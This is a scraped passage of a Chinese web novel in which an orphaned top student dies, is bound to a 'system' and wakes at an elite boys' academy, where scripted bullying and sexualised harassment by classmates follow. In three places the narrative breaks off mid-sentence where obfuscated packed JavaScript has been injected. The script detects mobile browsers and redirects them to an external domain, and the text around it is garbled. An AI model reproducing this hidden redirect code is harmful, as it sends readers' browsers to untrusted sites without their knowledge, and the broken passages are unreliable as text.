《贵族男校的笨蛋书呆子》 1. 第 1 章 【宿主信息:温绒,18岁,福利院长大。】 【高考全省第一,擅长考试。】 【智力评分:50】 【穿着破旧老土、普通长相、戴眼镜。】 【颜值评分:0】 【情商0、体力0、攻击性0】 【鉴定宿主为弱不禁风的书呆子。】 什么声音? 【接取剧本:《贵族男校女仆屋》】 【接取角色:贵族学院里遭到F4霸凌的倒霉特招生】 【接取任务一】 【任务流程:开学第一天被F4用内裤罩在头上,获得“内裤”外号。】 【任务目标:F4对宿主的好感度达到-100】 温绒用力甩头。 视野由黑转亮,面前全是黑色制服。 这是哪里…… “喂,特招生。” 迷糊中响起一道生冷沉重的男声,人墙劈开,制服们左右推搡让出宽阔大道。 大道尽头,停着一辆红色敞篷跑车。 一个灰色头发的酷哥坐在驾驶座,单手把着方向盘。 没有穿制服,单挂件纯黑坎肩背心,赤/裸裸的手臂结实有力,肌肉块之间勾勒着比麦色更深的阴影。 他与温绒对上视线,锋利的眉尾一挑,单手撑着车窗跃出,灵活得像豹子。 尚搞不清状况的温绒望着酷哥走近,黑色运动鞋底拉出一道很长很大的影子,闷头盖在脸上。 空气在这一刻凝固了,像是入夜的海岸,无风无浪,静得什么都听不见。 “名字。” 温绒(抖)。 酷哥:“你的名字——” 沉默得有一会儿的奇怪声音再次响起,【迅速回答,不要激怒他。】 “温、温绒。” “在河里救了两个人的特招生就是你?” “……” 【是你。】 “可、可我不会游泳。” 酷哥紧皱眉头,“你说什么?” 【回答:是你】 温绒:“是、是你。” 【……】 “……” 【不是他,是你。】 “我、我说错话了,对不起。”温绒低下头,“是我……” 我在做梦吗? 炙热的太阳把地面烤出腾腾热气,直往温绒脸上扑。 他眼睛被迫眯起,手上仿佛有千斤重,坠着身体摇晃。 嘭—— 屁股砸在硬邦邦的地砖上,痛和热量从尾椎骨窜上脑袋,彻底拧碎“这是梦”的猜测。 周遭哄笑 “哈哈哈哈哈他在干嘛?” “快拍下来!” 人墙里伸出数个手机几乎要怼到温绒的鼻尖。他双腿蹬着地后退,拉着什么东西似的,伴随着沙沙沙的响。 有人忽然蹬了他后背一脚,“想跑去哪?” 温绒汗毛直立,由坐改爬,四肢并用慌张逃窜。 手突然被用力一扯。 其实不是扯,是坠着温绒的那东西被踢了一脚。 他好奇望过去,眸子难以置信地睁大——那东西是一个编织袋,而温绒清楚记得,它已经被院长扔了。 …… 三年前,院长买编织袋来给他装行李用。 温绒拎着它走进高中校园,走在所有行李箱后面。 此起彼伏的轮子滚动声传入耳朵,只是不经意间抬头,便会对上同学们讳莫如深的目光。 “你是异类” 虽然他们没有说出口,但温绒感受得到。 那时他总会幻想有一辆拉风的摩托车忽然停在自己身后,穿皮衣皮裤的拉风男人跳下来,嗓门大到全校都听得见:“儿子!我来了。” 男人拉他坐上摩托车,跟其他家长一样送他到宿舍楼下,还揽着他大笑,“什么破袋子,儿子,等会儿我带你去买个行李箱!跟其他同学用一样的。” 然而温绒高中三年都在用这个编织袋,也从来没出现这样一个男人搭在他肩膀大声说:“不怕,爸罩你”。 心脏跟屁股一样都好痛啊,刀架子上滚一遭似的。 温绒眼泪不受控制地涌出,睫毛拧成一簇又一簇。 他趴着转个方向,去捡回这个陌生环境下唯一属于自己的东西。 另一只手,同时握到编织袋的带子上。 温绒以为有人想帮自己忙,张口正准备说谢谢,对方却忽然将编织袋用力扯走。 他扑到地上,手心被编织袋带子狠狠刮过,火辣辣地疼。 “看看我们特招生都带了什么来报到。” 沙沙沙 模糊的视野里,一个黑头发的身影拽着编织袋在地上摩擦。 滋啦—— 编织袋终于被扯出一条大口子,衣物稀里哗啦掉在地上。 围观的众人嚷嚷: “这是L家的编织袋?几年前我在时装周上看到过。” “应该是吧,穷鬼最喜欢省吃俭用买他们几家的便宜丑东西。” …… 温绒举着两只剧痛的手,满脸茫然。 【滴——剧情细化。开学第一天被时野用内裤罩在头上,获得“小熊内裤”外号。】 【任务目标:时野对宿主的好感度达到-100】 “剧情……” “任务……是什么。” 温绒终于在这个陌生恐怖的环境里抓住最重要的问题。 【就是接下来你要把内裤套在头上去报到。】 内裤,套在头上? 温绒条件反射倒地,两只发痛的手紧紧抱住脑袋,像被丢在平底锅里煎炸的虾,迅速蜷缩成团。 这是防御姿态,独自长大这些年他已经学会挨打时怎么保护自己。 “时哥,这货穿卡通小熊的内裤!” 沉沉的声音从头顶砸下,“啧,你就这品味?” 温绒知道在问自己,但哪里敢动,死死闭紧眼睛祈祷这一切赶快结束。 “特招生,你别一副被我揍了的样子,我碰都没碰你。” 那声音又说:“你说你这么怂,为什么要多管闲事把那两个人救上来?” “你——” 雀跃激动的声音打断酷哥,“时哥,他内裤上喷了香水。我猜他想在学校里钓男人。” 钓男人?! 这个结论太惊世骇俗,以至于温绒下意识反驳,“我没有。” “起来说话。” “……” “不起我就把内裤套在你头上。” 温绒猛然坐起。 酷哥正居高临下地望着他,高大身躯遮天蔽日,整张脸都埋在阴影中。 但温绒觉得他在笑,唇角带着不可一世的轻蔑,垂着眼皮,很看不起人。 “你很喜欢在地上爬?” 温绒用力摇头。 “为什么对内裤的反应那么大?有什么秘密吗?” 温绒这次甩头甩得耳边全是响。 酷哥冷哼一声,偏头喊黑头发,“给我看看特招生用什么香水钓男人。” 温绒再一次晃脑袋,但似乎没有人关注他无声的反驳,反而架在鼻子上的黑框眼镜都要被晃掉了。 他抬手扶了扶眼镜腿,反射绿光的镜片上,映出一条内裤在黑头发灰头发之间传递的震撼画面。 温绒嘴巴缓慢张大,望着灰发酷哥把内裤举了起来。 凑近鼻尖。 空气中传来吸气的声音。 就在这一刻,滋滋发光的闪电在他脑海中蜿蜒穿行,湿润的眼皮骤然瞪圆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769211|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等一等,那条内裤—— 我、死、定、了。 温绒下意识想跑,可周遭全是陌生的腿跟鞋子,他慌不择路弓起背跪在地上,脑门贴到水泥地,双手护住后脑勺。 “特招生,你能不能有点正常反应?” “……”别叫我啊。 “喂,再不说话我把内裤套你头上。” 温绒浑身一抖,被迫开口:“@#%$。” “你在说什么?骂人吗?骂的什么?大声点。” “@#%$……” “听不清。” 温绒用力吞咽,吓得几乎哭出来,“@#%、还我。” “说的什么东西……你是哑巴?” 温绒的屁股被蹬了一下,脑门被迫杵着地向前冲。 众人再次哄笑。 “哈哈哈哈瞧特招生那丑样!” “揍他!他没爸妈,老师不管。” 刺耳的声音跟记忆中的声音重合,温绒逐渐分不清现实跟过去,鼻尖酸痛。 霎时间,积攒在心里不敢释放的委屈冲上脑子,那些时时刻刻伴随他的顾虑跟害怕被一击巨浪拍至角落。 温绒跟小兽一样吼叫:“那是我穿过的内裤!” * 温绒是倒霉透顶的人。 别人有父母,他没有。 如果当年被遗弃在沿海城市,那他可以在政府的帮助下过得好一些。但他没有,他生长的福利院位于内陆一个并不起眼的贫困小镇。 别人被领养,有新的家庭,而他去到新家庭并不被欢迎,不到一周便遭退货,成为福利院的“钉子户”。 温绒从小到大期待的事情不多,其中之一是爱心人士捐赠旧校服跟广告衫时能顺便捐点内裤——这个很隐秘、只有亲近的人才有资格关注的生活必需品。 但期待永远没有成真。 他无法责怪任何人,相反,他该庆幸,陌生人看见他不去联想内裤之类的东西。 “小绒,有好多记者来采访你。” 昨晚院长来找温绒时,他正准备洗刚换下来的内裤。 “小绒你在吗?快快快出来,你考了全省最高分,记者们要采访你。” 温绒慢半拍地将内裤放下,跟院长去见记者。 记者问他未来有什么规划,准不准备寻找爸爸妈妈,想不想爸爸妈妈,如果见到爸爸妈妈想说什么……回答得太多,温绒都生出“新闻发出去我就能找到爸妈”的期待了。 那晚温绒第一次早早进入梦乡。 他再次听见摩托车的声音。 一个大猛男正带着他兜风。 “儿子,晚上想吃什么,你妈叫咱俩买菜回去。” 温绒大声喊:“想吃炸鸡、牛排、喝奶茶。” “吃垃圾食品的小孩都不乖,不乖的孩子要被丢在路边……” 温绒惊醒。 没有大摩托,没有爸爸妈妈,耳边全是其他床铺上传来的鼾声。 爸爸没有他丢在路边,那是梦。 他松一口气,但又很快将那口气吸回来。 内裤没洗! 他两条腿往床下去,可脚踩在黑暗中摸索半天没找到拖鞋,又艰难地重新蜷缩回床上。 因为高考成绩,其他“钉子户”已经把他拖鞋丢了,如果半夜吵醒他们可能会挨揍。 于是温绒忍耐到第二天早上。 他发誓自己真准备洗内裤的,不洗的话他今晚就没内裤可穿了。 可天还没亮院长就急匆匆带他去政府问奖金的事情。 得知会给一笔足够读完大学的钱,又马不停蹄赶到学校找老师谈高考志愿。 然后、然后眼前就出现这些陌生人,就……就…… 不知道编织袋里为什么会有他穿过的内裤,而他又为什么会在这里。 2. 第 2 章 【滴——任务完成。】 【成就解锁:时野对宿主的好感度为-1000】 本来就矮一截,因为害怕缩成小小一团,时野把温绒衬托成一颗瑟瑟发抖的足球。 不过时野没有“踢足球”,板正的身形有几分僵硬,迟钝转身,长腿迈出,回到车上踩死油门,“轰”一声,绝尘而去。 ——时野抓人家穿过的内裤! ——还把鼻子凑上去吸! 围观群众深知此事的严重性,迅速逃离案发现场,只剩温绒仍然埋头蹲在原地,脑子慢半拍地运转着。 【恭喜宿主完成任务一,获得1积分。】 “我为什么会在这里?” 【20xx年6月x日上午9:34分,宿主所在的现实世界发生大地震,宿主于废墟中死亡。】 【主系统选定宿主为第98798号穿越者,根据宿主的各项数据为宿主绑定最适合的剧本跟角色。】 【只要完成任务,宿主就可以在这个世界像正常人一样继续生活。】 “只能在这里吗?不能回去吗?” 【宿主在原来的世界已经死亡了。】 “那我的新闻有没有发?” 【孤儿出生的高考状元死于地震,算是比较轰动的社会新闻。】 “我爸爸妈妈……”温绒的声音越来越小。 他意识到,自己都死了,就算上新闻被爸爸妈妈认出又有什么意义。 温绒好像看到骑着摩托车的拉风男人跟温柔女人朝自己挥手再见,虽然他还不知道他们的脸长什么样。 悲伤笼罩着他,但也像一阵薄雾,风一吹便散。 没关系,他早就习惯没有爸爸妈妈的日子了。 温绒的心脏跟过去十多年一样隐隐痛着,他习惯这样的感觉,在幻想中暗自神伤。 这种情况一般不会持续太久,他会很快被抓回现实,心力就只够烦恼现实问题——比如现在,关于他的内裤。 “我、我的内裤怎么办,好像被那个人带走了。” 【……】 “为什么这里会有我穿过的内裤。”顿了下,“还有编织袋,也是我的。” 【炮灰角色的成长经历全部都沿用宿主的原有经历,包括宿主曾经使用过的东西。】 【在这个世界,宿主依然在福利院长大、被弃养两次、受欺负的书呆子,只是十八岁时截断的生命连接上了炮灰剧情。】 【小统现在就为宿主播放炮灰的人物设定。】 【温绒,18岁,高考成绩优异,报志愿当天路过河边遇见有人溺水,一口气救下两人,因此错过填报志愿。】 【该事件火爆全网,宿主获得市长亲自颁发的锦旗。同时,世界顶级贵族大学弗罗里曼学院也向宿主发出学费全免的录取通知书。】 “有好多天可以报志愿,错过第一天还有第二天。” 【剧情设置就是宿主为了救人错过填报志愿。】 “我能去读清华北大吗,这里的同学好像不是很欢迎我。” 【在这个世界观里没有清华北大。】 “这所学校只是因为救人的新闻才招我吗?需不需要我做点什么……” 【因为联邦选举制度的原因,人民的选票尤其重要。校长每年会在正能量新闻中选择一个适龄孩子招入学校,以塑造“就读这所学院的学生人品都好”的假象,方便毕业生日后参与选举。】 温绒被说服了。犹犹豫豫又问另外的问题:“这里像是外国学校,全外语教学吗?我不怎么会说英语。” 【在这个世界观里,中文是通用语言。】 “那为什么顶级学府不叫清华北大而是叫一个外国名字?” 【宿主不必深究小说世界的逻辑,根据小统对作者的了解,学院名字大概率由取名软件一键生成。】 “对不起,我不问了。” 其实问这么多奇怪的问题,是因为温绒心里在抗拒。 但很显然,这一切无法改变。 他死了,穿越成一个炮灰,要在这个学校里被继续被别人欺负。 个子并不高的瘦弱少年蹲下身,宛如报废的机器人,一卡一顿地将衣物全部收回编织袋。 随后他抱着编织袋缓慢地走过刻着弗罗里曼学院的巨石,因为跟其他人穿着不一样的服装,时时引起路人的侧目。 * 新生报到处 “叫什么?” “回老师,我叫温绒。” “身高。” “176厘米。” “体重。” “120斤。” “特长。” “……没。” “父母名字、工作单位、手机号。” “没有父母。” “其他监护人呢?” “……没有监护人。” 老师吹开唇边的两撇胡子,终于抬眼瞧他,“帮你录档案还挺省事。为什么不穿校服?” “……” “这个问题很难回答吗?” “我……我也不知道。” “没钱买吗?” “我——” 老师打断他,“同学,学校已经免除你的学杂费了,不会连校服这点小钱都想要学校出吧?我们学校跟你以前读的那种学校不一样,这里必须穿校服,你最好尽快搞定。” “对不起。” “行了行了,说对不起有什么用……你跟我来。” “谢谢您。” 【谢他什么?这是老师面对学生的态度?】 温绒安慰系统,“别生气,老师没有揍我。” 【……】 跟在两撇胡子后面穿越半个校园时,系统敬业地跟温绒介绍着这所学校起源于几个世纪前的古堡,建筑历史悠久,占地面积广大,年年都在扩建,由世界顶级设计师设计…… 他一个字都没记住,一直处于神游状态。 直到老师停下,回身将宿舍钥匙递给温绒,“这是钥匙,记得保管好,别总是忘带钥匙出门给老师添麻烦。” 温绒没有接过钥匙,也没有回答。 因为他傻眼了。 50平米的大房子,客厅直通阳台,带一个小房间。 像是住着人的“小家”,到处都是温暖的米色,靠墙位置放着巨大实木书柜,每层摆满书籍,连着一张桌子,桌子上有台笔记本电脑。 一切美好得好像闪着金光。 【闭上嘴,你这没见过世面的样子让老师都嫌弃了。】 温绒合上嘴,回身给老师鞠躬,“谢谢您带我过来。” “平时规矩点,不要乱进别人宿舍偷东西。” 温绒又鞠躬:“谢谢您提醒。” 系统:【……】 这就是情商为0才能拥有的超绝钝感力吗? 唉 它叹了口气。 不只是情商,温绒的其他数据也非常难看,颜值不高,情商不高,攻击力没有,本来以为智商应该很高,没想到甚至没有到及格线,真不知道他是怎么考的全省最高分。 叹完气,看到温绒目送老师离开后把鞋脱了拎在手里,踩着袜子拘谨地站在宿舍门边一动不动。 系统忍不住问:【你在干嘛?】 温绒小心翼翼又满怀期待地偷瞄房间,“等室友来。” 顿了顿,面上露出羡慕的神色,“他的东西好齐全,不知道他好不好相处。” 系统:我的母语是无语。 系统:【你没有室友。】 “怎么会……宿舍里全都是他的东西。”温绒指向书桌,“还有笔记本电脑。” 【……】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769212|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “床也是铺好的。” 【宿主,这里是世界顶级贵族大学,最不缺的就是钱。目前你看到的所有东西都是单独为你配置的,包括电脑。】 温绒略长的头发耷拉在黑框眼镜上,嘴巴张得跟刚才进门时一样大,看起来有点傻。 系统莫名想给这个傻子再增长一点见识,【而且就读这所学校你不需要考虑任何吃住问题。这边的食堂是自助餐的模式,几百位厨师亲自掌勺,囊括全球所有国家的美食,每天都会有世界各地的飞机装载当地的新鲜食材来到这里,绝对原汁原味足够地道。】 咕噜咕噜 温绒肚子配合地响起来。 “我能吃吗?” 【当然可以,食宿学杂费全部包含在学费里,你是特招生,学费全免。】 【不过今晚不行,已经过了晚饭供应时间,订餐的话需要自费。】 温绒摸摸肚子,“我明天再去食堂吃好了。” 他又问:“还有老师说的校服……为什么大学要穿校服。” 【因为这里的学生来自世界各地,穿衣风格各有不同。比如女校那边有的学生家长要求自家孩子全身都裹在黑布里面,比如男校这边有的学生习惯穿串树叶出门,校长为了维护学校形象,要求统一服装。】 温绒点了点头,“好有道理。但我没有钱买校服,请问在这里怎么赚钱?” 【宿主,你虽然没能读到清华北大,但高考成绩出来时政府已经把奖励金发到你的银行卡里了,总计50万元。】 50万对温绒来说是个天文数字。 想到自己因为考试得到这么多钱,他心中小小地骄傲一把。 “我接下来是不是可以专心读书了?” 【校服包含十套夏季服装,十套冬季服装,十套正式场合要穿的正装,以及基本运动服等……总计50万。】 数据面板上,温绒的情绪值自由落体降到0。 系统忙道,【宿主不用担心,弗罗里曼学院设立了各类奖学金。】 “嗯嗯。” 情绪值略微上升。 在考试拿到好成绩这方面温绒有些信心。 【弗罗里曼学院是7年制,毕业即可获得博士学位。宿主只要获得一次奖学金就可以解决7年里所有的学杂费,还能作为优秀毕业生毕业。】 优秀毕业生意味着他能找到好工作! 温绒黑框眼镜后面瞳孔明亮,满满都是对未来的希望。 系统感到满足。 他的宿主是普普通通的书呆子,穿着土气,因为没钱去理发店头发长得比一般男同学都长,脸上还架着丑陋低廉的黑框眼镜,看起来又土又木讷。 情绪值低的时候,脸色苍白,唇色也发白,跟尸体一样。 只有开心一点才会不那么死气沉沉。 恢复精神的温绒跟个好奇宝宝似得从阳台一路观察,对洗衣机跟烘干机感到好奇,对扫地机器人好奇,对电动窗帘好奇……一直看到浴室,摸摸智能马桶,发现挂在架上的白色毛巾散着热气,手小心翼翼摸上去,惊讶感叹“是热的!”。 【这是电热毛巾架。】 “好软呀。” 【毛巾怎么可能不软。】 “我的就是硬硬的……这个毛巾真的好软。” 笑起来,脸颊有小酒窝。 温绒迫不及待地摘掉眼镜将整张脸蛋凑上去,鼻子呼出的气把毛巾吹成小气球。 “系统,它真的好软哦!” 【好了,它是属于你的,别一副——】 【?】 【!!!】 脱去黑框眼镜后温绒完全换了一个人。 脸蛋儿羊脂白玉似的清雅婉约,五官秀美精巧,好像一朵玉兰。 数值面板上,颜值项旁边的红条如火箭升天,瞬间顶格。 3. 第 3 章 系统缓了很久才缓过神。 它的宿主竟然是个清秀干净颇具白月光气质的漂亮男高吗? 为什么从来没人发现? 系统难以置信地打开温绒的过往经历。 像是计划表,每天准时准点两点一线地学习,枯燥,又夹杂着被欺负不敢还手的窝囊,所以很容过让统忽略温绒被霸凌的原因是:被福利院最漂亮的女孩子暗恋、被校霸喜欢的女孩子暗恋、被校霸暗恋…… 而温绒本人对此一无所知。 系统不信邪,怎么有人不知道自己被暗恋呢?不知道的原因明明只有不喜欢不说破。 【宿主,你以前跟周围的女孩子相处得怎么样?】 “她们不喜欢跟我说话。” 【?】 【你成绩这么好,没有女孩子问你题目吗?】 温绒不好意思道,“我表达能力不好,她们都说听不懂。” 系统幻视宿主给别人讲题的画面:这题这样这样就能直接得出答案,很简单的。你怎么还不理解,是我说的哪里有问题吗? 【那你高中那个校霸呢?还有印象吗?】 温绒想了想,“很高,很凶,话很少,但会抓着别人的头往墙上砸,是特别特别恐怖的人。” 【他对你……】 温绒身体一抖,“系统,他很恐怖,比今天的灰头发还要恐怖。” 【好的好的,不说他了。】 …… 温绒像是乐天派,坏事在他那里呆不久,他能很快恢复状态。 几乎整个宿舍都被他激动地摸过一遍,桌子上那台笔记本电脑摸过四遍,最后他没有打开笔记本电脑,而是蹲在在破烂编织袋面前发呆。 【怎么了】 “现在洗这些脏衣服明早应该不会干,我在想该怎么办。” 【有烘干机,大概只要2个小时就能弄好。】 “烘干机是什么?” 它的可怜宿主连烘干机都不知道为何物,太可怜了。 【你可以理解为烤衣服的炉子。】 温绒好像发现了新大陆,“原来还有这种东西。” 系统操起当妈的心,【你把身上的衣服也脱下来一起洗掉。】 “可我没有其他能穿的了。” 【把窗帘拉上,没有谁会看到。】 “我……”温绒脸颊涨红,“我不好意思。” 【卫生间有浴袍,可以穿那个。】 “系统你太厉害了!你怎么什么问题都能解决。” 【这是身为系统的基本职责。】 “你还有其他名字吗?” 宿主问这个干嘛?【系统就是系统,没有名字。】 温绒脸颊微红,羞涩又小心翼翼地询问:“那以后我可以喊你哥哥吗?” 【……】系统莫名卡了一下。 “不、不可以吗?不好意思。”温绒声音低低的,“第一次有人帮我解决困难,像电视上演的家人一样,特别谢谢你。” 【可以。】宿主本身就有系统的命名权。 “真的?” 【真的。】 “哥哥!” 【……】 “系统哥哥!” 系统勉为其难应声:【嗯。】 温绒开开心心地换上浴袍,又依照系统的指示洗掉脏衣服,最后终于坐到书桌前,使用他最最期待的东西。 先掀开笔记本盖子的一个小角,手指伸进去摁住键盘,另一只手轻轻掰开。 害怕掰坏,只敢让屏幕维持90°直立立地挺着,自己勾背缩脖子去迁就。 “哥哥你可以教我怎么开机吗?” 【……】 “哥哥?” 【你们学校没有计算机课吗?】 “小学的时候有,但电脑不够,我抢不到。” 【初中高中呢?】 “被其他老师抢课了。” 系统叹息,【键盘右上角指甲盖大小的按钮是开机键,您摁一下。】 摁一下。 屏幕点亮黑框眼镜后面的浅褐色眸子。 温绒笑起来眉毛都是弯弯的,“谢谢哥哥!” 一直被叫哥哥,系统莫名感到卡顿。 它觉得自己应该叫温绒别喊“哥哥”了,似乎会影响运行速度。 “哥哥,这些该怎么设置,我不会。” 【点注册,自己输入账号跟密码。】 温绒没用过键盘,一左一右伸出两只食指,在键盘上小心戳戳。 “哥哥,注册完了,然后呢。” 【点继续。】 咚咚咚 房间里忽然响起敲门声。 温绒像听到响声的猫,唰一下起身,目光谨慎地盯着门的方向。 咚咚咚 又在敲门。 他小心问:“哥哥,是剧情吗?” 【不是。】 “谁会来找我。” 敲门声第三次响起来,间隔时间比前两次更短,好像知道他在里面必须要他打开门一样。 温绒只好起身,小心走到门前询问:“请问有什么事情吗?” “我是住在隔壁的新生。” 温绒忙问系统:“真的不是剧情吗?” 因为几个小时前的遭遇,他已经把这所学校的所有学生都归类到“危险”的那一类中。 他好不容易有属于自己的房间,不想那些人来搞破坏。 【不是】 敲门声第四次响起来。 【目前来说还没人知道你住这间宿舍,应该只是新生之间互相打个招呼。】 温绒沉默了下,问:“请问我能不开门吗?” 【这里的学生基本上都要继承家业,跟他们能打好关系对你以后工作有帮助。】 工作。 这是个非常诱人的果子。 温绒犹豫了片刻,打开房间门。 门外站着一个穿着黑色制服的男生,个子高,温绒勾着腰,正正看到他左胸口上挂着金属铭牌——齐元。 “你、你好。”温绒谨记跟他们结交可以有工作的道理,羞涩开口,“我叫温绒。” 齐元没有回答。 好奇心致使温绒胆子变大,轻轻抬眼珠子看向齐元的脸——他也在看他,眼睛直直的。 温绒又莫名觉得那视线不是在看自己的脸。 【浴袍】 温绒低头看自己的浴袍。 他穿错了? 【领子太低了。】 温绒低头看到自己的小腹,没晒过太阳,没有肌肉,平平整整的一片,跟白天那个从车里下来的酷哥一比难看极了。 顿时自卑,两只手揪着领子道歉,“不好意思我衣服全洗了,只能穿这个。” 齐元:“……” “请问你……” 【他是下午说你内裤香的那个男生。】 下午! 内裤! 温绒的肾上腺素激增,迅速抬头看向男生的头发——确认对方是黑头发后脑子里冒出大大的问号。 他在心里询问系统:“他染头发了吗?我记的是灰色的。” 【灰头发是F4,这是抢走你的行李袋又翻出内裤的路人甲。】 温绒后知后觉确实是有这么个人,手比脑子先动,要关门。 “等等——”齐元一巴掌拍在门上,“我想跟你道歉。” 温绒警惕地躲在门后,露出半张脸。 “时野是时家的大少爷,他父亲是我家公司的大股东,我不得不听他的话。” “……” “下午我不是真心想要欺负你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769213|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “……” 齐元急道,“我赔你一个行李箱。” 温绒猛猛摇头,由于拒绝得太用力,脑袋还撞了门一下。 “你不接受我的道歉吗?” “……” “我要怎么做你才会原谅我。” 温绒目光闪躲,“以后他还会要你来欺负我。” “什么?” “……” 齐元半晌才反应过来,下定决心道,“我以后不欺负你了。今天是我不好,以后如果时野还欺负你,我跟你站到一边,要挨打一起挨打。” 温绒缩了下脖子,依然不说话。 “我真的想跟你做朋友。” “谢谢你。” 以为温绒的态度缓和,齐元脸上慢慢展露笑容,手从门上放下来。 温绒小心翼翼瞄准那只手,抓住时机开口:“但你还是不要跟我一起被欺负了。” 啪—— 房门闭合。 噔噔噔反锁。 【看起来是真心想跟你道歉,你不想在大学里有一起上课吃饭的朋友吗?】 温绒扁了扁嘴,“可是他欺负过我。” 又坚定地说:“我不要这样的朋友。” 系统感到意外,不敢反抗霸凌的小怂包还挺有骨气。 【那我来教你用电脑登录“黒鸽”吧,这是弗罗里曼学院的官方软件,你以后选课交作业跟同学交流都需要使用。】 温绒咧开嘴傻笑,“哥哥你真好。” 一门之隔,廊灯从头顶打下,齐元整张脸埋在阴影之中,看不清神色。 他抬起手臂,指腹缓慢擦过门把手。 想象着白皙的肌肤跟金属手柄一样凉,滑腻腻的触感在指纹的缝隙中流淌。 顺着手柄来到锁芯,有一处插钥匙的孔,凹进去的,并不深,指尖稍一用力,指腹的肉挤入。 啊…… 齐元舒服地闭上眼睛,仰头吐出一口粗气。 * 黒鸽的信息注册完毕,自动被拉入一个群。 群主:[欢迎小笨蛋们成为弗罗里曼监狱的一名学生,我是你们十班的小班莱昂·冯·勒文斯坦,可以称呼我为莱昂学长。] 温绒艰难地念出这个外国名字,询问系统:“哥哥,我就读什么专业?” 【这所学院没有专业区分,你现在这个班级是临时的,作用仅仅是高年级学长带新生熟悉校园。】 “那、那我学什么?” 【想学什么学什么,由宿主自己选择想要上什么老师的课。】 【有一点需要注意。】 “嗯嗯。” 【专业成绩和社交一样重要,弗罗里曼学院的学分要求里课程成绩占30%、社团活动成绩占30%、实践学期的论文分占40%,这意味着宿主必须参与社交。】 听到社交,温绒蔫了。 数值面板上的精神条唰一下降低。 他失去拥有独立房间的快乐,躺在床上翻来覆去难以入睡,身上仿佛压了一座大山。 夜半,猛坐起来。 “哥哥,剧情结束后我能重新考大学吗?” 【特招生作为学院向平民输送的宣传招牌,转学会对学校的声誉产生影响,所以入学时你跟学院签订了合约,享有学杂费免除的权利,也有不可转学的责任,毁约的话你需要赔偿校方十个亿。】 温绒绝望地倒回床上。 系统叹气,【宿主不用难过,弗罗里曼学院同样欢迎在某方面极具天赋的学生,你成绩特别好的话社团活动方面会稍微放宽一些。】 成绩好…… 温绒重新燃起希望。 老师们都说他有数学天赋,他也打算选这个专业。 他相信自己能靠着数学解决社交分数的问题。 4. 第 4 章 黒鸽匿名论坛 一打开首页飘着两个红灿灿的“热”。 [时野创立新网球社,无门槛无要求,新手可入。] [网球社招新,入社成员第三学期统一组织到GMI娱乐公司实习。] GMI娱乐公司是GMI国际集团旗下专门负责明星经济活动的公司,足球、网球、篮球、高尔夫等行业里的体育名将几乎都跟这家公司有合作。 从回帖数量上看,“时野”的名头跟“GMI”打得不相上下。 很快,一个标题叫“不可说,你懂的”帖子被顶上第一,将“时野”和“GMI”一起压在身下。 主楼:[某世界排名第一社长当众闻特招生的内裤!还说香] 二楼:[原来某人私下有这种喜好。] 三楼:[以后新网球社的人就要互闻内裤咯。] 很多人点开看,但除了这几个阴阳怪气的匿名账号在不断顶贴,谁都没敢开口。 直到顶着“时野”固定马甲的账号跳出来:[我烂人一个,没你网球打得好。] 像是释放一个信号,终于有其他人敢回帖: [哈哈哈哈哈某旧人旁敲侧击阴阳怪气,遭本尊直接贴脸开大。] [某旧人:话都让你说了,我说什么?] [某旧人儿是真恨啊,这么离谱的事儿都编得出来。] [有没有可能这事是真的。] [我艹?] [亲眼所见,千真万确,我还在第一排观光位。特招生一见面就为咱们新社长撅起了屁股。] [劲爆!难道咱们男校也要跟隔壁女校一样出一部校园男神跟特招生的禁忌爱恋?] 时野:[绝无可能] * 第二天早上,五点。 温绒起床洗漱完毕,预备出门。 他在躲避挨打这方面很有经验,早上在食堂门口蹲着背书,开门就进去,5分钟之内吃完,随后去教师楼门口继续背书,上课铃声响起第一声时再冲上楼进教室上课,这样基本上可以保证早上到晚自习结束之前不被揍。 虽然这所学校跟以前的学校有差别,但套套公式是能套上的。他可以去图书馆!在正式上课之前看看书,提前做准备。 【定校服】 “差点忘记这件事了,幸好你提醒我,谢谢哥哥。” 温绒迅速在黒鸽上花费50万巨款购买校服。 又一次拉开房门时他忽然想到,现在校服买了,昨天的脏衣服也都在烘干机的帮助下干了,细算起来昨天虽然过得不太愉快,但自己并没有真正失去什么。 接下来的生活是独居,包三餐,好好学习,以后不仅能得奖学金,还有博士学位,有好工作。 非常美满! 自己把自己哄得很开心,蹦着跳着下楼,冷风往脸上一吹,明媚的嘴角又挂下去。 可现实问题是:他目前只有一条内裤。 不知道昨天那个酷哥能不能把内裤还给他。 还是不要了,都被抓在手里用力捏过了。 可是要怎么买新的内裤呢,温绒此时身无分文。 一边胡思乱想一边猫着腰走出宿舍大门,浅浅的影子在地面上拉得老长。 缓慢行走的时候,左右张望,越来越靠近路边的灌木丛。 “喂——” 